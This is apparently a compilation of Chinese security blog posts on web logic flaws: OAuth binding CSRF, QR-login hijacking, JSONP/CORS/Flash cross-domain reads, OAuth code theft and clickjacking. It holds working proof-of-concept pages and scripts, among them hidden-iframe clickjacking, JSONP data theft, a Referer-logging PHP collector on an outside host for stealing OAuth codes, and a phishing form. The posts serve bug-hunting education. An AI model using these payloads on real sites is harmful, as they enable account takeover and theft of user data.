猜想建立->如果我有第三方账号所在网站的CSRF之你登陆我的账号缺陷，让受害者先登陆我的第三方账号（为了避免损失，我可以注册一个小号），然后绑定处也有CSRF绑定的缺陷或者点击劫持问题，那么我就可以让受害者绑定我的第三方账号，然后根据我的第三方账号来登陆受害者的账号，劫持到其权限。

验证猜想 流程

个人中心有这个第三方的账号绑定：

在这里QQ、github、微博、微信四个第三方账号绑定中我有了微博的CSRF之你登陆我的账号这个缺陷，所以这里测试下微博的第三方账号绑定。

页面有微博账号绑定的跳转链接：

通过这个链接进入了绑定的界面（未登陆微博）：

通过这个链接进入了绑定的界面（已登陆微博）：

当我授权绑定之后，微博发生了变化，管理中心->我的应用->我的应用：

会多出这个网站在里面，那么这个变化是对我们有利的，还是？

这里我解绑了微博，然后再使用这个已经授权了的微博进行绑定，发现居然不用点击授权了，直接就绑定了。

很显然，在这里这个便利解决了一些攻击的利用难度。

实现

我们现在具备的几个条件：

1. 微博的CSRF之你登陆我的账号缺陷：

登陆你的微博，然后访问http://login.sina.com.cn/sso/crossdomain.php?action=login，会返回这样的内容给你：

其中arrURL对应的链接就是凭证登陆的~

1. 你的微博已经授权过了要存在缺陷的网站(这里方便直接跳转而不用再去点击按钮！所以你可以先用自己的微博绑定下存在缺陷的网站的账号，然后解绑就行了~)
2. 绑定请求存在csrf的缺陷（这里因为是GET请求类型 /oauth/weibo/redirect，而一般不会对GET请求类型进行CSRF的限制~~）

场景1.攻击步骤：

对方点开凭证链接登陆了你的微博，对方点开绑定微博的链接，绑定了你的微博，完成攻击。

考虑到凭证时效性的问题，在这里写了一个动态的PoC：

<?php //get weibo login token $curl = curl_init(); $cookie = "你微博的Cookie"; curl_setopt($curl, CURLOPT_URL, 'http://login.sina.com.cn/sso/crossdomain.php?action=login'); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_COOKIE, $cookie); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $data = curl_exec($curl); curl_close($curl); //echo $data; $t = preg_match('/ticket=(.*?)&sso/', $data, $res); $url = "https://passport.weibo.com/wbsso/login?ticket={$res[1]}&ssosavestate=1556602678"; ?> <html> <head> <style type="text/css"> .testframe { height: 100%; } iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的属性，兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性，兼容各大浏览器*/ } </style> </head> <body> <div class="testframe"> <iframe id="test0" src="<?php echo $url;?>"></iframe> </div> <script> function loadsrc(){ document.getElementById("test0").src="https://gh0st.cn/oauth/weibo/redirect"; } setTimeout("loadsrc()",2000); </script> </body> </html> 场景2.攻击步骤：

有些网站可能是post请求限制了referer或者根本没有跳转的请求而是直接进入了微博的绑定界面，因为state参数的原因导致根本无法以这个绑定页面为链接的形式去做攻击~

可能有很多朋友就有疑问了，为什么我老是提到state参数？这个参数是干什么用的呢？这里参考下微博的OAuth2.0接口的开发文档：

http://open.weibo.com/wiki/Oauth2/authorize

是防止CSRF的，也就是说在这里如果绑定的链接是如下这样子的：

没有state参数验证的，那么你可以直接以此作为绑定链接，覆盖场景1中PoC里面的这个链接:https://gh0st.cn/oauth/weibo/redirect

好了，说了那么多跟场景2没用的话，切入主题来说说场景2的情况到底该如何完成攻击？

很简单我们可以使用点击劫持来完成攻击，如下动态的PoC：

<?php //get weibo login token $curl = curl_init(); $cookie = "你微博的Cookie"; curl_setopt($curl, CURLOPT_URL, 'http://login.sina.com.cn/sso/crossdomain.php?action=login'); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_COOKIE, $cookie); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $data = curl_exec($curl); curl_close($curl); //echo $data; $t = preg_match('/ticket=(.*?)&sso/', $data, $res); $url = "https://passport.weibo.com/wbsso/login?ticket={$res[1]}&ssosavestate=1556602678"; ?> <html> <head> <style type="text/css"> .testframe { height: 100%; } iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的属性，兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性，兼容各大浏览器*/ } .btn { position: fixed; width: 70px; height: 22px; left: 167px; right: 0; display:block; top: 295px; } </style> </head> <body> <div class="testframe"> <input type="button" class="btn" value="Click"> <iframe id="test0" src="<?php echo $url;?>"></iframe> </div> <script> function loadsrc(){ document.getElementById("test0").src="https://gh0st.cn/usercenter/ubind"; } setTimeout("loadsrc()",2000); </script> </body> </html>

简单的说明下这个PoC的用处：

总结

可能把每一项单独的拎出来会发现这并没有缺陷，但是一旦参与到了业务逻辑中，就一定会存在一定的问题。

不要看不起一个看似没危害的漏洞甚至一个缺陷，因为你永远不知道它能发挥的巨大危害。

首先感谢朋友倾璇的邀请 http://payloads.online/archivers/2018-03-21/1 ，参与了的相关撰写，目前负责业务逻辑测试这一块的撰写，目前初步已经成型，先发出来让大家看看，欢迎点评，也可以加入我们一起来撰写~

业务逻辑测试

介绍：这里对Web应用业务逻辑方面的安全缺陷进行介绍和常见案例讲解。

任意用户密码重置 常见的缺陷 * 1.验证码类缺陷

-场景： 1.1 验证码回显在客户端(响应主体、Set-Cookie等等…)。

1.2 验证码过于简易时效性过长，接口未做限制(一般为纯数字4-8位数，时效性长达30分钟以上可以对验证码进行枚举)。

* 2.未校验权限/前端校验/越权

-场景： 2.1 任意手机号验证码都可重置任意账号。

2.2 修改响应包的主体(根据实际情况来修改 例如验证请求对应的响应报文的主体为false 你可以修改为true)。

2.3 同一浏览器进入A用户的重置，然后关闭再进入B用户的重置 而实际上重置A用户。

2.4 修改重置密码的相关参数(例如 userid等等…)。

* 3.HOST头伪造

-场景： 3.1 在邮箱找回密码的时候，可以简单替换Host部分进行Fuzz，看看找回密码的链接中的域名是否是根据Host来生成的如果是可以替换成自己的域名。但是这种思路很鸡肋，因为需要用户的点击，这样才可以根据日志看到重置密码的链接，万一重置密码的链接时效性过去就无奈了。

* 4.找回密码的凭证脆弱

-场景： 4.1 见过最多的是找回密码的token是base64编码的，而解码后的明文根据其规则修改就可以成为别人用户找回密码的凭证了。

验证码绕过 常见的缺陷 图形类验证码绕过 * 1.图形验证码可复用

-场景： 3.1 验证码刷新之后，而历史刷新的验证码还是可以继续使用。

3.2 验证码使用过后不刷新，时效性不过期，可以一直复用。

* 2.图形验证码易识别

-场景 4.1 很多验证码的显示很简单，容易被机器识别。

短信类验证码绕过 * 1.验证码过于简易&接口未限制

-场景： 1.1 有些手机短信验证码都为 4-8位 纯数字的验证码，在接口没有任何限制的情况下是可以直接爆破的。

* 2.验证码发送复用&时效性过长&接口未限制

-场景： 2.1 6位数验证码时效性为5分钟，但是在这里同一手机号发送的验证码都是一样的，所以可以在4分钟的时候重新发送一次验证码这样验证码就又有效了，因为验证码一直在被复用，所以可以爆破。

* 3.万能验证码

-场景： 3.1 这是很多大企业的诟病，在未上线前为了方便测试加了888888、000000这样的万能验证码但是上线后没去删除测试的内容导致被恶意利用。

短信/语音验证码重放

无论是发送短信还是语音验证码来做验证，都是需要手机号的，而发送验证码实际上是需要成本的，需要跟运营商或者是第三方验证码平台进行合作，多数验证码为0.01元一条，当然也有更便宜的，所以这边的问题也会影响到一个企业的资产方面。

常见缺陷 * 1.无限制发送

-场景： 1.1 厂商对验证码发送这一块并没有进行限制时间发送

* 2.代码层逻辑校验问题

-场景： 2.1 很多厂商会对手机号进行限制，如果60秒内发送过就不会发送，但是程序员在设计代码层的逻辑时会出现很多奇葩的问题，例如其为了方便用户体验，正常的代码层的流程为：

a.去除用户手误输入的空格以及一些特殊符号

b.验证手机号是否发送过验证码

某些程序员会这样设计流程：

a.验证手机号是否发送过验证码（发送过则不放行 没发送过则进入下一步）

b.去除用户手误输入的空格以及一些特殊符号

c.发送手机号验证码

* 3.手机号可遍历发送

-场景： 3.1 我之前有提到验证码发送会影响到企业资产，那么发送验证码限制就不能仅仅针对于单一手机号的限制，例如我可以载入一堆手机号的字典，然后直接遍历发送验证码，这也是危害之一。

业务流程绕过 常见缺陷 * 1.无验证步骤跳跃

-场景： 1.1 出现的场景很多：密码重置步骤、支付步骤，对于这种的测试方法有很多中：

a.对比法，使用A、B两个账号，A账号先正常走一遍流程，然后记录流程的请求报文跟响应报文，使用B账号来测试是否能绕过直接进入最后一步骤。

b.第六感，假设步骤1的网址为:http://www.test.com/step1，这时候你可以凭借你的第六感修改下链接为/step2之类的来测试。

加密算法脆弱 常见缺陷 * 1.前端呈现加密算法代码

-场景： 1.1 很多厂商算法写的很好，可没用，因为他用的是JS代码，在前端会直接能看见，而尝试跟踪JS的代码就会知道是怎么加密的从而可以直接绕过。

* 2.算法脆弱，明文可判断

-场景： 2.1 这是一个看运气的问题，一段密文为md5的，这时候你要做好自己的分析明文到底是什么，然后去碰撞，例如可能是md5(用户名+邮箱)这样的的组合。

支付逻辑漏洞 常见缺陷 * 1.金额修改

-场景： 1.1 支付的过程中有很多涉及金额的元素可以修改运费、优惠价、折扣等，可以修改为负数金额也可以修改金额为小于原金额的数进行测试，有时候会遇到溢出，你修改金额为较大的数看你会出现只支付1元的情况。

* 2.数量修改

-场景： 2.1 修改购买物品的数量为小数或者负数，同上，有时候会遇到溢出，你修改数量为较大的数看你会出现只支付1元的情况。

* 3.sign值可逆

-场景： 3.1 这是一个看运气的问题，sign多数为对比确认金额的一段内容，很多都是md5加密的，这时候你要做好自己的分析明文到底是什么，然后去碰撞，例如可能是md5(订单号+金额)这样的的组合，然后修改金额重新生成sign就可以绕过金额固定的限制了。

条件竞争(HTTP并发) 常见缺陷 * 1.条件竞争（HTTP并发）

-场景： 1.1 在签到、转账、兑换、购买等场景是最容易出现这样的问题，而并发测试的方法可以使用Fiddler也可以使用BurpSuite Intruder模块。

这里例举下Fiddler测试方法（BurpSuite测试很简单就不说明了）：

配置好代理，设置好拦截：

然后点击兑换、转账、签到等最后一步按钮的时候会抓到一个请求，右键这一请求然后按住Shift点击Replay->Reissue Requests：

填入要重发的次数：

一般为20即可，然后点击GO放行：

最后看你自己来判断是否存在并发的问题，例如签到，如果存在那么肯定是签到天数或者签到所获得的奖励会一下子有很多，也可以看Fiddler中的响应报文结果。

二维码登陆的常见缺陷剖析

现在很多的电商平台和互联网型企业都有自己的手机APP，为了方便用户的体验，于是就有了”扫码登陆”这样的功能。看似扫码登陆，实际上还是基于HTTP请求来完成的。

了解扫码登陆步骤

标准的二维码登陆流程如下：

1. 打开web界面进入登陆然后加载二维码
2. 网站开始轮询，来检测二维码状态
3. 打开手机APP进入”扫一扫”，扫描二维码
4. 网站检测到二维码被扫描，进入被扫描后的界面，继续轮询来获取凭证
5. 手机APP进入确认登陆界面
6. (当点击确认登陆)网站轮询结束获取到了凭证，进入个人中心；(当取消登陆)网站轮询设定时间自动刷新页面。

常见缺陷剖析 0x00 非标准扫码登陆流程缺陷 非标准流程描述

扫描登陆的流程如果不按照标准来做也会存在很多问题，国内一些企业在处理这些的时候省略了如上所述的第五步骤和第六步骤，而是直接扫描后立即登陆。

分析非标准流程可能存在的问题

• 可进行1:1比例诱导扫描

二维码是一张图片而图片是可以移植的，所以我们可以1:1克隆一个登陆页面来诱导用户进行扫描，这样就可以直接获取用户的权限了。

因为保密协议的问题，这里不对漏洞详情进行描述，简单的使用文字进行叙述：

在测试这种问题的时候，只需要按照步骤去测试下即可发现是否有相对于的问题，我一般会使用浏览器ctrl+s快捷键先克隆下来，因为这样会自带css和js等文件，剩下的只需要你处理一下就行了，也可以参考我之前的文章：微信Netting-QRLJacking分析利用-扫我二维码获取你的账号权限，方法类似就行，但是这里的微信二维码登录是基于OAuth2.0协议的，所以当用户点击之后，我只要获取到授权凭证链接就行了，而一般的二维码登陆是不基于OAuth2.0协议的，就需要处理好你的交互问题。

0x01 QRLJacking-二维码登陆劫持

2017年OWASP推出了这种攻击方式：https://www.owasp.org/index.php/Qrljacking

因为OWASP上有详细的介绍，所以在这里我就不以实际案例来说明了。

补充的一点是在0x00中我已经说明了之前一篇文章微信Netting-QRLJacking分析利用-扫我二维码获取你的账号权限，在这里我称之为Netting-QRLJacking是因为我们可以使用钓鱼网站方式的方法进行大面积撒网~而其实这里是利用了OAuth2.0的一个流程特征，我们想进行二维码登录劫持的时候也可以利用”扫码登陆”的流程特征。

之前已经把”扫码登陆”的流程说的很清楚了，我们知道其中一步轮询是用户点击确认登陆之后就通过轮询这个接口可以直接获得凭证，利用这个特点就行了。

小提示：整个流程划分为一个一个的接口来测试，你会更清楚的。

0x02 CSRF跨站请求访问

之在0x01说了，把整个流程划分为一个个的接口来测试，你就会更清楚，其实潜台词就是“你会发现更多漏洞”~

以一个实际例子来讲解：

在测试一个站点的时候遇到的问题，其扫码登陆的流程全部为GET类型请求：

1. 打开web界面进入登陆然后加载二维码（http://www.gh0stdemo.cn/getqrcode 返回一段uuid 二维码的链接为 http://www.gh0stdemo.cn/qrcode?code=qrcode）
2. 网站开始轮询，来检测二维码状态（http://www.gh0stdemo.cn/getqrlstate?code=qrcode）
3. 打开手机APP进入”扫一扫”，扫描二维码（http://www.gh0stdemo.cn/qrcode?code=qrcode）
4. 网站检测到二维码被扫描，进入被扫描后的界面，继续轮询来获取凭证（http://www.gh0stdemo.cn/getqrlstate?code=qrcode）
5. 手机APP进入确认登陆界面（这步骤必须需要经过第四步骤之后才可以 http://www.gh0stdemo.cn/putqrlstate?code=qrcode）
6. (当点击确认登陆)网站轮询结束获取到了凭证，进入个人中心；(当取消登陆)网站轮询设定时间自动刷新页面。

在这里我们可以构建这样的PoC：

<!DOCTYPE html> <html> <head> <title>PoC</title> </head> <body> <script> function loadsrc(){ document.getElementById("test1").src="http://www.gh0stdemo.cn/qrcode?code=qrcode"; } setTimeout('loadsrc()',1000); </script> <iframe id="test1" src="http://www.gh0stdemo.cn/putqrlstate?code=qrcode"> </iframe> </body> </html>

很简单的一个PoC就构成了，这里也确实存在CSRF的问题，可能在这里有人会想到攻击面得问题，仅仅只限于APP端？当然不，其实原理是一样得，都是把自己的凭证(Cookie)发出去，所以在电脑的web端只要登陆了一样可以完成攻击步骤~

当然在这里也有POST形式的CSRF，因为内容重复度过高就不一一举例了。

0x03 ClickJacking-点击劫持

点击劫持，视觉欺骗

根据扫码登陆的流程中我们可以看到有一个流程强制的要求了用户去点击确认登陆的按钮，但是这个界面往往没有做点击劫持的防范：

在我之前的一篇文章中详细讲了PoC的制作方法：http://gh0st.cn/archives/2017-12-20/1

之前跟一朋友在测试的时候发现了一些问题，有些网站用iframe标签引用进来，不会百分百的自适应，在这里我使用了div为父元素，如何再在div里面写入iframe这个子元素来自适应就行了。

<html> <head> <meta name="referrer" content="never"> <style type="text/css"> .testframe { height: 100%; } iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的属性，兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性，兼容各大浏览器*/ } .btn { position: fixed; width: 97%; height: 42px; margin: 0 auto; left: 0; right:0; display:block; top: 815px; } </style> </head> <body> <div class="testframe"> <input type="button" class="btn" value="Click"> <iframe src="http://www.gh0stdemo.cn/qrcode?code=qrcode"></iframe> </div> </body> </html>

示例结果：

结尾

本文没详细的去写，仅仅记录笔者的实践过程和心得。

前言

最近在挖洞，”实践出真知”这句话说的很对，在实际挖掘过程中我会思考很多东西，跟朋友一起准备做一份手册，忽然的想到了一些漏洞的定义和规范。 在大多数的人眼里CSRF可能仅仅是写入型的比如：修改个人资料、授权登陆等等功能场景的CSRF问题，同时对CSRF这类问题进行了危害等级划分，就像如上两个例子，可以划分为中危和高危。也许是因为交互式的漏洞并没有SQLi这种直接能利用的漏洞危害高，所以一些厂商对CSRF也并不重视。

步入正题，什么是读取型CSRF，这里我对如下的漏洞归纳进了读取型CSRF，因为这些漏洞的利用手法都跟CSRF是一样的：

• JSONP劫持
• Flash跨域劫持
• CORS跨域资源读取

…等等，当然还有Silverlight跨域这些了，不过这里只列举常见的三种来讲解。

读取型CSRF

接下以如上所说的三个漏洞案例来一个个分析。

JSONP劫持 漏洞案例

这里来看一条请求：

这条请求返回的结果中有手机号（这里我测试的账号没绑定手机），如果我们想要以CSRF交互式攻击的方式获取这个手机号该怎么办？

来看看这条请求有callback，而返回结果是不是类似Javascript中的函数？

Javascript原函数定义如下：

function funName(){}

这里是缺少了函数定义的关键词function和花括号的函数主体部分，只有函数名和函数传参，聪明人已经想到了，这不就相当于是自定义函数被引用了么，而中间那段传参就相当于是一个数组，所以我们可以先用JS自定义好这个函数，然后再引用这个请求，自然就可以获取到数据了。

这时候我们可以来构建一下PoC：

<!-- 引用一段如上请求为JS --> <script>function jsonp2(data){alert(JSON.stringify(data));}</script> <script src="http://gh0st.cn/user/center?callback=jsonp2"></script>

使用正常的账号(绑定过手机号)来测试下：

案例总结

其实通过这个例子，我们可以知道HTML标签<script>在一定的情况下是可以跨域读取的。

对此漏洞的修复有很多：

1.打乱响应主体内容

2.Referer等进行限制

…..等等

Flash跨域劫持

Flash跨域比较经典了，在做web目录资产整理的时候有时候会发现这样的文件 crossdomain.xml ，文件内容如果是如下的，那么就存在Flash跨域问题，如下内容的意思是支持所有域：

<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>

为什么会如此？具体流程是这样的：

gh0st.cn 有一个SWF文件，这个文件是想要获取 vulkey.cn 的 userinfo 的返回响应主体，SWF首先会看在 vulkey.cn 的服务器目录下有没有 crossdomain.xml 文件，如果没有就会访问不成功，如果有 crossdomain.xml ，则会看crossdomain.xml 文件的内容里面是否设置了允许 gh0st.cn 域访问，如果设置允许了，那么 gh0st.cn 的SWF文件就可以成功获取到内容。所以要使Flash可以跨域传输数据，其关键就是crossdomain.xml 文件。

当你发现 crossdomain.xml 文件的内容为我如上所示的内容，那么就是存在Flash跨域劫持的。

漏洞案例

在对一个厂商进行测试的时候正好发现了这样的文件：

在这里我需要做两件事：

1.找到一个能获取敏感信息的接口

2.构建PoC

在这里敏感的信息接口以个人中心为例子，PoC使用的是 https://github.com/nccgroup/CrossSiteContentHijacking/raw/master/ContentHijacking/objects/ContentHijacking.swf

案例总结

很简单的一个东西，但是用处却很大，其利用方法跟CSRF也是一样的，只需要修改下PoC就行。

修复方案同样也很简单，针对<allow-access-from domain="*" />的domain进行调整即可。

CORS跨域资源读取 漏洞案例

如上图中我在请求的时候加上了请求头 Origin: http://gh0st.cn，而对应的响应包中出现了Access-Control-Allow-Origin: http://gh0st.cn这个响应头其实就是访问控制允许，在这里是允许http://gh0st.cn的请求的，所以http://gh0st.cn是可以跨域读取此网址的内容的~在这里我介绍下Origin：

Origin和Referer很相似，就是将当前的请求参数删除，仅剩下三元组（协议 主机 端口），标准的浏览器，会在每次请求中都带上Origin，至少在跨域操作时肯定携带（例如ajax的操作）。

所以要测试是否存在CORS这个问题就可以参考我上面的操作手法了。

怎么利用呢？在这里我使用了github上的开源项目:https://github.com/nccgroup/CrossSiteContentHijacking，readme.md中有具体的说明，这里我就不一一讲解了，那么已经确认问题了，那就需要进一步的验证。

在这里我找到了一处接口，其响应主体内容是获取用户的真实姓名、身份证、手机号等内容：

/daren/author/query （要注意的是这个请求在抓取的时候是POST请求方式，但并没有请求正文，经过测试请求正文为任意内容即可）

响应报文正文内容：

这里CrossSiteContentHijacking项目我搭建在了本地(127.0.0.1) http://127.0.0.1/CrossSiteContentHijacking/ContentHijackingLoader.html

根据项目所说的操作去进行参数的配置，然后点击 Retrieve Contents 按钮：

测试如下，测试结果是可以跨域读取的：

案例总结

这个问题其实就是对Origin的验证没有控制好，对其进行加强即可。

结尾

结尾想说的东西其实也没什么了，总结了这些东西希望能帮助到各位~

什么是OAuth2.0？

OAuth2.0是OAuth协议的下一版本，但不向后兼容OAuth 1.0即完全废止了OAuth1.0。 OAuth 2.0关注客户端开发者的简易性。要么通过组织在资源拥有者和HTTP服务商之间的被批准的交互动作代表用户，要么允许第三方应用代表用户获得访问的权限。同时为Web应用，桌面应用和手机，和起居室设备提供专门的认证流程。2012年10月，OAuth 2.0协议正式发布为RFC 6749 。

RFC 6749 : https://tools.ietf.org/html/rfc6749

QQ OAuth2.0 流程分析&攻击

国内的很多厂商使用了OAuth2.0的认证方式，这里以QQ为例。

QQ互联 : https://connect.qq.com/intro/login

相信大家在很多网站上都见过如下的登陆界面：

可以看见除了厂商本身网站的账号以外还有QQ跟微信这两个快捷登陆，首先以QQ的快捷登陆为例子：

点击QQ图标进入登陆的链接 -> https://graph.qq.com/oauth2.0/show?which=Login&display=pc&response_type=code&client_id=100273020&redirect_uri=http://a.com/?view=null&uuid=65392bc3fc724fca8dcba23558f67ec8

这里因为我的QQ是在电脑上已经登陆了，所以我可以直接进行登陆，这时候进行抓包截取整个流程，

关键流程分析

Request 1：

POST /oauth2.0/authorize HTTP/1.1 Host: graph.qq.com

1 Response：

HTTP/1.1 302 Moved Temporarily Server: tws Date: Fri, 09 Feb 2018 11:50:42 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=50 Content-Encoding: gzip Location: http:/a.com/?uuid=65392bc3fc724fca8dcba23558f67ec8&code=120ED71CAECB11BAD538820E12B54664

Request 2：(这个请求表示根据参数code的值进行个人用户凭证生成)

GET /?uuid=65392bc3fc724fca8dcba23558f67ec8&code=120ED71CAECB11BAD538820E12B54664 HTTP/1.1 Host: a.com

2 Response：（setcookie返回用户凭证）

HTTP/1.1 302 Moved Temporarily Content-Length: 0 Connection: close Set-Cookie: 用户凭证 Location: https://www.a.com/ Cache-Control: max-age=0

这时候我们就可以注意到问题了，请求1产生了一个链接，其就是QQ登陆的地址中的参数redirect_uri附带上参数code的值，而这个链接是生成用户凭证的，所以链接中的参数code也是至关重要的，看到这里我的攻击思路已经产生了：

假设QQ登陆的地址中的参数redirect_uri的值可以为我的网站，那么只要用户A点击我就可以根据网站日志访问记录获取参数code的值再根据请求2获取用户A在 http://a.com 的账号权限。

理想很好，现实残酷：

这里QQ做了限制，我不需要去分析QQ关联的全部流程就能知道这里的参数client_id，其实就是 http://a.com 的QQ互联的服务id， http://graph.qq.com 根据client_id获取 http://a.com 的设置允许的参数redirect_uri的值再跟你输入的参数redirect_uri的值进行比较。

这时候我只需要对参数redirect_uri进行Fuzz就能知道哪些范围是允许的：

http://a.com 的二级子域名可以为参数redirect_uri的值，目前我需要解决的就是如何根据 http://a.com 的二级子域名获取到code的值：

1.我有一个HTML注入漏洞

漏洞地址：http://1.a.com/?xss=%3Cimg%20src="http://www.evilchen.cn/getref.php"%3E

getref.php的内容为如下PHP代码：

<?php file_put_contents("ref.txt", $_SERVER['HTTP_REFERER']); ?>

将漏洞地址作为参数redirect_uri的值，然后诱导用户A点击登陆，这时候跳转的链接就变成了：

http://1.a.com/?xss=%3Cimg%20src=”http://www.evilchen.cn/getref.php”%3E&code=120ED71CAECB11BAD538820E12B54664

跳转之后这个链接会做为HTTP Referer的值再请求[http://www.evilchen.cn/getref.php]，那么我的服务器就会接收到code的值，再根据Request 2的值填入，我就可以获取用户A在a.com的账号权限了

2.我能在其他地方引用外部资源

很多厂商都会有社区、论坛等功能，大部分会使用Discuz程序来做，而Discuz确实可以引用外部资源~

这里我使用的图片地址还是 http://www.evilchen.cn/getref.php 然后进行帖子回复。

帖子地址为 http://bbs.a.com/thread-123-1-1.html 将帖子地址作为参数redirect_uri的值，然后诱导用户A点击登陆，这时候跳转的链接就变成了：

http://bbs.a.com/thread-123-1-1.html?code=120ED71CAECB11BAD538820E12B54664

跳转之后这个链接会做为HTTP Referer的值再请求 http://www.evilchen.cn/getref.php 那么我的服务器就会接收到code的值，再根据Request 2的值填入，我就可以获取用户A在a.com的账号权限了：

攻击流程

1.我点击 http://a.com 的QQ登录，获取QQ快捷登录链接，替换redirect_uri的值为如上两个问题的地址然后发送给受害者2.受害者点击QQ头像登录，会跳转到redirect_uri的值(链接)，并且携带上code的值

3.受害者浏览器以跳转后的链接作为referer头请求外链图片(php)

4.攻击者获取referer的值，构建B地址，并且进入链接(注意 攻击者要在未登录情况下)

微信快捷登陆流程

开发平台：https://open.weixin.qq.com/

http://a.com的地址如下：

https://open.weixin.qq.com/connect/qrconnect?appid=&redirect_uri=http://a.com/wx?callback=null

微信扫描后会跳转到：

http://a.com/weixin?callback=null&code=021n2XAB00C4mg2FvKyB0W7QAB0n2XAF

而只要利用QQ快捷登陆的方法我们一样可以获取到code的值

攻击流程

1.我点击http://a.com的QQ登录，获取微信快捷登录链接，替换redirect_uri的值为如上两个问题的地址然后发送给受害者 2.受害者点开微信扫描，会跳转到redirect_uri的值(链接)，并且携带上code的值

3.受害者浏览器以跳转后的链接作为referer头请求外链图片(php)

4.攻击者获取referer的值，构建B地址，并且进入链接(注意 攻击者要在未登录情况下)

风险检测

我简单的写了个poc，仅仅做风险检测，具体危害可以自行检查~~（PS：支持微信跟QQ的快捷登陆风险检测）

# -*- coding:utf-8 -*- # Name: QQ and WeChat OAuth2.0 PoC # Auther: MSTLab(EvilChen) import requests,urlparse,urllib def scan(url): url = urllib.unquote(url) tempUrl = getValue(url) tempDomain = urlparse.urlparse(tempUrl).netloc domainA = tempDomain.split('.') domainB = tempDomain.replace(domainA[0],"mstlab") url = url.replace(tempUrl,"http://" + domainB) r = requests.get(url) # print url if ("redirect uri is illegal" in r.text) or (">redirect_uri" in r.text): print "[*] This Website is safe." else: print "[*] This Website is vulnerable!" def getValue(url): query = urlparse.urlparse(url).query resUrl = dict([(k,v[0]) for k,v in urlparse.parse_qs(query).items()])['redirect_uri'] return resUrl if __name__ == '__main__': url = raw_input("URL: ") scan(url)

poc的使用方法很简单，只需要复制QQ和微信快捷登陆的链接：

经过我们实验室的排查发现存在风险的厂商如下：

等国内知名厂商近百家都存在此危害。

修复建议

redirect_uri的值做限制

结尾

文章参考：

http://wooyun.jozxing.cc/search?keywords=OAuth&content_search_by=by_bugs

http://www.cnvd.org.cn/flaw/show/CNVD-2014-02785

http://www.cnvd.org.cn/flaw/show/CNVD-2018-01622

前言

有一段时间没做测试了，偶尔的时候也会去挖挖洞。本文章要写的东西是我利用ClickJacking拿下管理员权限的测试过程。但在说明过程之前，先带大家了解一下ClickJacking的基本原理以及简单的漏洞挖掘。

ClickJacking

ClickJacking背景说明:

ClickJacking（点击劫持）是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼在2008年首创的。 ClickJacking是一种视觉欺骗攻击手段，在web端就是iframe嵌套一个透明不可见的页面，让用户在不知情(被欺骗)的情况下，点击攻击者想要欺骗用户点击的位置。

说道视觉欺骗，相信有炫技经验的朋友们一定会想到，自己一个后台拿不下Webshell权限的时候，而想要黑掉首页从而达到炫技，使用的是什么呢？没错一般使用CSS样式表来劫持首页以造成黑掉的假象~

<table style="left: 0px; top: 0px; position: fixed;z-index: 5000;position:absolute;width:100%;height:300%;background-color: black;"><tbody><tr><td style="color:#FFFFFF;z-index: 6000;vertical-align:top;"><h1>hacked by key</h1></td></tr></tbody></table>

除了可以炫技，CSS劫持可以做的东西也有很多：例如经典的form表单钓鱼攻击

<table+style="left:+0px;+top:+0px;+position:+fixed;z-index:+5000;position:absolute;width:100%;background-color:white;"><tr><td><form action="http://192.168.0.109/login.php" method="post">账号：<input type="text" name="name"><br>密码：<input type="password" name="pwd"><br><input type="submit" value="登陆"></form><td></tr></table>

这里就不对代码的意思进行解读了，可以看到CSS劫持达到的视觉欺骗攻击效果还是比较LOW的，因为这样的攻击手段偏被动式。而我要说的点击劫持其实也算是被动式，不过相对来说比较容易获得信任让被动式触发，这里只是单单对攻击手法谁的成功率比较高作为比较

前面背景介绍的时候说了，点击劫持攻击其实就是镶嵌一个iframe框架(存在点击劫持漏洞的页面)在页面上，然后再把其修改为透明的样式。这样的操作只是造成了视觉欺骗，还没达到欺骗点击的效果，所以就需要知道iframe框架其按钮的位置，然后在基于透明层模拟一个位置大小相同的按钮，发给用户让其点击~~

这里以QQ安全中心的一个点击劫持为例，作为一个QQ的资深用户应该知道QQ是有安全中心紧急冻结QQ服务的，只要登录自己的安全中心就可以冻结，地址(漏洞地址，目前漏洞已经修复)为：https://aq.qq.com/cn2/message_center/wireless/wireless_seal_auth?source_id=2985

一点击，你的QQ就被会冻结(当时不知道逗了多少人~)，那这样怎么利用呢？

1.建立iframe框架:

<iframe id="frame" src="https://aq.qq.com/cn2/message_center/wireless/wireless_seal_auth?source_id=2985"></iframe>

2.建立iframe的CSS样式:

